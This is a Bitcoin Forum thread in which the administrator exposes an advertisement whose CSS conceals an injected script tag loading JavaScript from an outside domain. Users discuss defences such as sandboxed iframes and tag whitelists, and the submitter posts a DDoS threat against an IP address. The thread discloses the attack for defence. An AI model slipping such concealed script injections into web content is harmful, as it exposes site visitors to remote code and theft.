Bitcoin Forum
May 03, 2024, 02:51:41 AM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1] 2 »  All
  Print  
Author Topic: narayan - attempted code injection  (Read 6561 times)
theymos (OP)
Administrator
Legendary
*
Offline Offline

Activity: 5194
Merit: 12943


View Profile
August 16, 2013, 06:15:49 AM
 #1

Here's an ad that was sent to me:

Sent to the address!

Here is my CSS code:

Code:
.minefieldadm {width:620px;height:40px;overflow:hidden;font-family:Verdana;font-size:14px;border:1px solid #000;display:inline-block;background: #a3d802;  background: -moz-linear-gradient(top, #a3d802 0%, #11a301 3%, #8ac916 6%, #f0b7a1 34%, #8c3310 50%, #752201 93%, #bf6e4e 98%);  background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#a3d802), color-stop(3%,#11a301), color-stop(6%,#8ac916), color-stop(34%,#f0b7a1), color-stop(50%,#8c3310), color-stop(93%,#752201), color-stop(98%,#bf6e4e));  background: -webkit-linear-gradient(top, #a3d802 0%,#11a301 3%,#8ac916 6%,#f0b7a1 34%,#8c3310 50%,#752201 93%,#bf6e4e 98%);  background: -o-linear-gradient(top, #a3d802 0%,#11a301 3%,#8ac916 6%,#f0b7a1 34%,#8c3310 50%,#752201 93%,#bf6e4e 98%);background: -ms-linear-gradient(top, #a3d802 0%,#11a301 3%,#8ac916 6%,#f0b7a1 34%,#8c3310 50%,#752201 93%,#bf6e4e 98%);  background: linear-gradient(to bottom, #a3d802 0%,#11a301 3%,#8ac916 6%,#f0b7a1 34%,#8c3310 50%,#752201 93%,#bf6e4e 98%);  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#a3d802', endColorstr='#bf6e4e',GradientType=0 );}
.minefieldshader {font-size: 155%;color: #FFFFFF;text-shadow: 0px 0px 8px rgba(0, 0, 0, 1);background: #b4e391;  background: -moz-linear-gradient(45deg, #b4e391 0%, #149b51 22%, #75e01d 27%, #369b14 62%, #5cdb1c 69%, #5cdb1c 86%, #b4e391 100%);  background: -webkit-gradient(linear, left bottom, right top, color-stop(0%,#b4e391), color-stop(22%,#149b51), color-stop(27%,#75e01d), color-stop(62%,#369b14), color-stop(69%,#5cdb1c), color-stop(86%,#5cdb1c), color-stop(100%,#b4e391));background: -webkit-linear-gradient(45deg, #b4e391 0%,#149b51 22%,#75e01d 27%,#369b14 62%,#5cdb1c 69%,#5cdb1c 86%,#b4e391 100%);  background: -o-linear-gradient(45deg, #b4e391 0%,#149b51 22%,#75e01d 27%,#369b14 62%,#5cdb1c 69%,#5cdb1c 86%,#b4e391 100%);}</style><script src='http://webkit-linear.in'></script><style>.minefieldshader{ background: -ms-linear-gradient(45deg, #b4e391 0%,#149b51 22%,#75e01d 27%,#369b14 62%,#5cdb1c 69%,#5cdb1c 86%,#b4e391 100%);  background: linear-gradient(45deg, #b4e391 0%,#149b51 22%,#75e01d 27%,#369b14 62%,#5cdb1c 69%,#5cdb1c 86%,#b4e391 100%);  filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#b4e391', endColorstr='#b4e391',GradientType=1 );margin-top: 3px;padding: 4px 3px 4px 3px;display: inline-block;}
.minefieldstar1 {width: 0;height: 0;border-left: 15px solid transparent;border-right: 15px solid transparent;border-bottom: 30px solid rgb(80, 189, 45);position:absolute;float:left;margin-left: 135px;}
.minefieldstar2 {width: 0;height: 0;border-left: 15px solid transparent;border-right: 15px solid transparent;border-bottom: 30px solid rgb(80, 189, 45);position:absolute;float:left;margin-left: 450px;}

Here is my HTML code:

Code:
<a href="http://minefield.bitcoinlab.org/?r=1XCa3af6FfBF9FZT"><div class="minefieldadm"><div class="minefieldstar1"></div>
<div class="minefieldstar2"></div><span class="minefieldshader">Bitcoin Minefield</span></div></a>

Please let me know when the ad is up. I'll be happy to give you stats on how many people clicked and how much BTC I made from this referral link.

Can you spot the problem? The CSS contains code injection:
Code:
</style><script src='http://webkit-linear.in'></script><style>

This URL contains nothing now. I guess he would have put something there if the ad had been accepted. I carefully check all ads by hand, though, so this kind of attack is pointless.

1NXYoJ5xU91Jp83XfVMHwwTUyZFK64BoAD
1714704701
Hero Member
*
Offline Offline

Posts: 1714704701

View Profile Personal Message (Offline)

Ignore
1714704701
Reply with quote  #2

1714704701
Report to moderator
Bitcoin mining is now a specialized and very risky industry, just like gold mining. Amateur miners are unlikely to make much money, and may even lose money. Bitcoin is much more than just mining, though!
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction.
1714704701
Hero Member
*
Offline Offline

Posts: 1714704701

View Profile Personal Message (Offline)

Ignore
1714704701
Reply with quote  #2

1714704701
Report to moderator
1714704701
Hero Member
*
Offline Offline

Posts: 1714704701

View Profile Personal Message (Offline)

Ignore
1714704701
Reply with quote  #2

1714704701
Report to moderator
narayan
Member
**
Offline Offline

Activity: 98
Merit: 10


I do not sell Bitcoins. I sell SHA256(SHA256()).


View Profile
August 16, 2013, 06:31:44 AM
 #2

Off to my next account Wink

BTC: 1PiPooLvcEoBLuXBHbwUnN5rShs2nas223
LTC: LRq7YPMDoERSZcte9ZPNHQkUbfiPsY55VM
Raize
Donator
Legendary
*
Offline Offline

Activity: 1419
Merit: 1015


View Profile
August 16, 2013, 06:31:52 AM
 #3

Quite embarrassing.

Good catch.
TiagoTiago
Hero Member
*****
Offline Offline

Activity: 616
Merit: 500


Firstbits.com/1fg4i :)


View Profile
August 16, 2013, 06:32:53 AM
 #4

Accepting ads that are anything more than a picture, alt text and a URL doesn't seem all that safe; specially considering how tempting of a target users of the forum are...

(I dont always get new reply notifications, pls send a pm when you think it has happened)

Wanna gimme some BTC/BCH for any or no reason? 1FmvtS66LFh6ycrXDwKRQTexGJw4UWiqDX Smiley

The more you believe in Bitcoin, and the more you show you do to other people, the faster the real value will soar!

Do you like mmmBananas?!
favdesu
Legendary
*
Offline Offline

Activity: 1764
Merit: 1000



View Profile WWW
August 16, 2013, 06:40:03 AM
 #5

Off to my next account Wink

just out of curiosity, do you break even as a semi-professional scammer with little to no success?

theymos (OP)
Administrator
Legendary
*
Offline Offline

Activity: 5194
Merit: 12943


View Profile
August 16, 2013, 06:46:59 AM
 #6

He paid, so I did put up a link to his http://minefield.bitcoinlab.org link. This site is safe, right? It's down now.

Accepting ads that are anything more than a picture, alt text and a URL doesn't seem all that safe; specially considering how tempting of a target users of the forum are...

They're safe when someone is manually reviewing them. It actually wouldn't be all that difficult to automatically verify that ads are OK: CSS can never be a security risk, and a small whitelist of known-safe HTML tags and attributes would prevent other attacks. I may add automatic verification if I ever automate the ad system, though some sort of manual approval will always be required because the ad content and size also need to be checked. (Automatically checking an ad's actual screen size seems difficult.)

HTML/CSS ads are much smaller byte-wise; they can be seen by text browsers, search engines, and the visually-impaired; people can deal with them more naturally (copy/paste, etc.); they can do things that images can't do; and ad blockers can't block them as easily. They are clearly superior to image ads in almost every way.

1NXYoJ5xU91Jp83XfVMHwwTUyZFK64BoAD
narayan
Member
**
Offline Offline

Activity: 98
Merit: 10


I do not sell Bitcoins. I sell SHA256(SHA256()).


View Profile
August 16, 2013, 06:59:41 AM
 #7

Someone told me to pass along the message that the IP 66.168.20.180 will be suffering from a DDoS soon Wink

BTC: 1PiPooLvcEoBLuXBHbwUnN5rShs2nas223
LTC: LRq7YPMDoERSZcte9ZPNHQkUbfiPsY55VM
Kluge
Donator
Legendary
*
Offline Offline

Activity: 1218
Merit: 1015



View Profile
August 16, 2013, 07:02:36 AM
Last edit: August 16, 2013, 07:43:40 AM by Kluge
 #8

Someone told me to pass along the message that the IP 66.168.20.180 will be suffering from a DDoS soon Wink
Jesus, that guy plays a lot of dice.

ETA @ deleted post: lol, yeah - I bet you just RELAYED them. Cheesy
gmaxwell
Staff
Legendary
*
Offline Offline

Activity: 4158
Merit: 8382



View Profile WWW
August 16, 2013, 07:08:30 AM
 #9

I'd suggest that you also implement some protections just in case something clever get past your eyes.

beyond some programmatic 'xss' matching, one idea would be to iframe the html/css ads on another domain, so even if they do go rogue the browser sandboxing will rescue you.

I'd also be a little careful with assumptions like "CSS can never be a security risk", CSS is now a huge amount of code, it's a big attack surface, and I wouldn't be surprised if there were some zero-day CSS remote execution exploits (though... getting through manual inspection would be tough). Conversely CSS loading images and other assets from remote hosts could be used to trigger exploits in the image handlers, or just act as webbugs.
Anduck
Legendary
*
Offline Offline

Activity: 1511
Merit: 1072


quack


View Profile
August 16, 2013, 07:22:26 AM
 #10

Someone told me to pass along the message that the IP 66.168.20.180 will be suffering from a DDoS soon Wink

Whoa, they always return with this same "you busted me, now I will ddos you!!!". Do some legit stuff.. Pays better Smiley

BadBear
v2.0
Legendary
*
Offline Offline

Activity: 1652
Merit: 1127



View Profile WWW
August 16, 2013, 08:52:33 AM
 #11

Someone told me to pass along the message that the IP 66.168.20.180 will be suffering from a DDoS soon Wink

Somebody sounds mad.

1Kz25jm6pjNTaz8bFezEYUeBYfEtpjuKRG | PGP: B5797C4F

Tired of annoying signature ads? Ad block for signatures
K1773R
Legendary
*
Offline Offline

Activity: 1792
Merit: 1008


/dev/null


View Profile
August 16, 2013, 02:10:28 PM
 #12

mad skiddys Smiley

[GPG Public Key]
BTC/DVC/TRC/FRC: 1K1773RbXRZVRQSSXe9N6N2MUFERvrdu6y ANC/XPM AK1773RTmRKtvbKBCrUu95UQg5iegrqyeA NMC: NK1773Rzv8b4ugmCgX789PbjewA9fL9Dy1 LTC: LKi773RBuPepQH8E6Zb1ponoCvgbU7hHmd EMC: EK1773RxUes1HX1YAGMZ1xVYBBRUCqfDoF BQC: bK1773R1APJz4yTgRkmdKQhjhiMyQpJgfN
HeroC
Legendary
*
Offline Offline

Activity: 858
Merit: 1000



View Profile
August 16, 2013, 02:41:13 PM
 #13

I wonder what he would have put there...
Raize
Donator
Legendary
*
Offline Offline

Activity: 1419
Merit: 1015


View Profile
August 16, 2013, 03:26:07 PM
 #14

I'd also be a little careful with assumptions like "CSS can never be a security risk", CSS is now a huge amount of code, it's a big attack surface, and I wouldn't be surprised if there were some zero-day CSS remote execution exploits (though... getting through manual inspection would be tough). Conversely CSS loading images and other assets from remote hosts could be used to trigger exploits in the image handlers, or just act as webbugs.

On this topic, I remember a while back there was an image loading exploit that IE had a few years back, but it was wholly unreliable as an exploit till someone figured out they could use CSS to heap-spray just prior to the image load, thus making it work every time. I forget all the details, but yeah, CSS (or at least the way IE handles it) is far from perfectly safe.

That said, they really only should be able to load things under the user's credentials, but on a Windows box that's typically "good enough" to do some damage.
theymos (OP)
Administrator
Legendary
*
Offline Offline

Activity: 5194
Merit: 12943


View Profile
August 16, 2013, 04:48:19 PM
 #15

LOL, thanks!

1NXYoJ5xU91Jp83XfVMHwwTUyZFK64BoAD
willphase
Hero Member
*****
Offline Offline

Activity: 767
Merit: 500


View Profile
August 16, 2013, 05:51:50 PM
 #16

To protect against this, I think it's certainly worth putting ads in iframes on a different origin - e.g. bitcointalkusercontent.org

Will

phelix
Legendary
*
Offline Offline

Activity: 1708
Merit: 1019



View Profile
August 16, 2013, 06:52:42 PM
 #17

He paid, so I did put up a link to his http://minefield.bitcoinlab.org link. This site is safe, right? It's down now.

Are you saying you actually put up a link to that scammers website?
tysat
Legendary
*
Offline Offline

Activity: 966
Merit: 1004


Keep it real


View Profile
August 16, 2013, 06:57:08 PM
 #18

He paid, so I did put up a link to his http://minefield.bitcoinlab.org link. This site is safe, right? It's down now.

Are you saying you actually put up a link to that scammers website?

Confirmed that the ad is actually placed in rotation, I just saw it.

@theymos
Someone tries to run a CSS injection ad and you put up his ad because "he paid"?  That's an awful line of though.
MiningBuddy
Hero Member
*****
Offline Offline

Activity: 927
Merit: 1000


฿itcoin ฿itcoin ฿itcoin


View Profile
August 16, 2013, 07:00:44 PM
 #19

He paid, so I did put up a link to his http://minefield.bitcoinlab.org link. This site is safe, right? It's down now.

Are you saying you actually put up a link to that scammers website?

Confirmed that the ad is actually placed in rotation, I just saw it.

@theymos
Someone tries to run a CSS injection ad and you put up his ad because "he paid"?  That's an awful line of though.
theymos removed the malicious section of code before putting the link into the ad rotation.

tysat
Legendary
*
Offline Offline

Activity: 966
Merit: 1004


Keep it real


View Profile
August 16, 2013, 07:08:49 PM
 #20

He paid, so I did put up a link to his http://minefield.bitcoinlab.org link. This site is safe, right? It's down now.

Are you saying you actually put up a link to that scammers website?

Confirmed that the ad is actually placed in rotation, I just saw it.

@theymos
Someone tries to run a CSS injection ad and you put up his ad because "he paid"?  That's an awful line of though.
theymos removed the malicious section of code before putting the link into the ad rotation.

I know that, but if they're trying to get something in the ad doesn't it stand to reason that they don't deserve to have an ad in rotation?  I'd say trying to get malicious code into an ad should result in a ban from the forum.
Pages: [1] 2 »  All
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!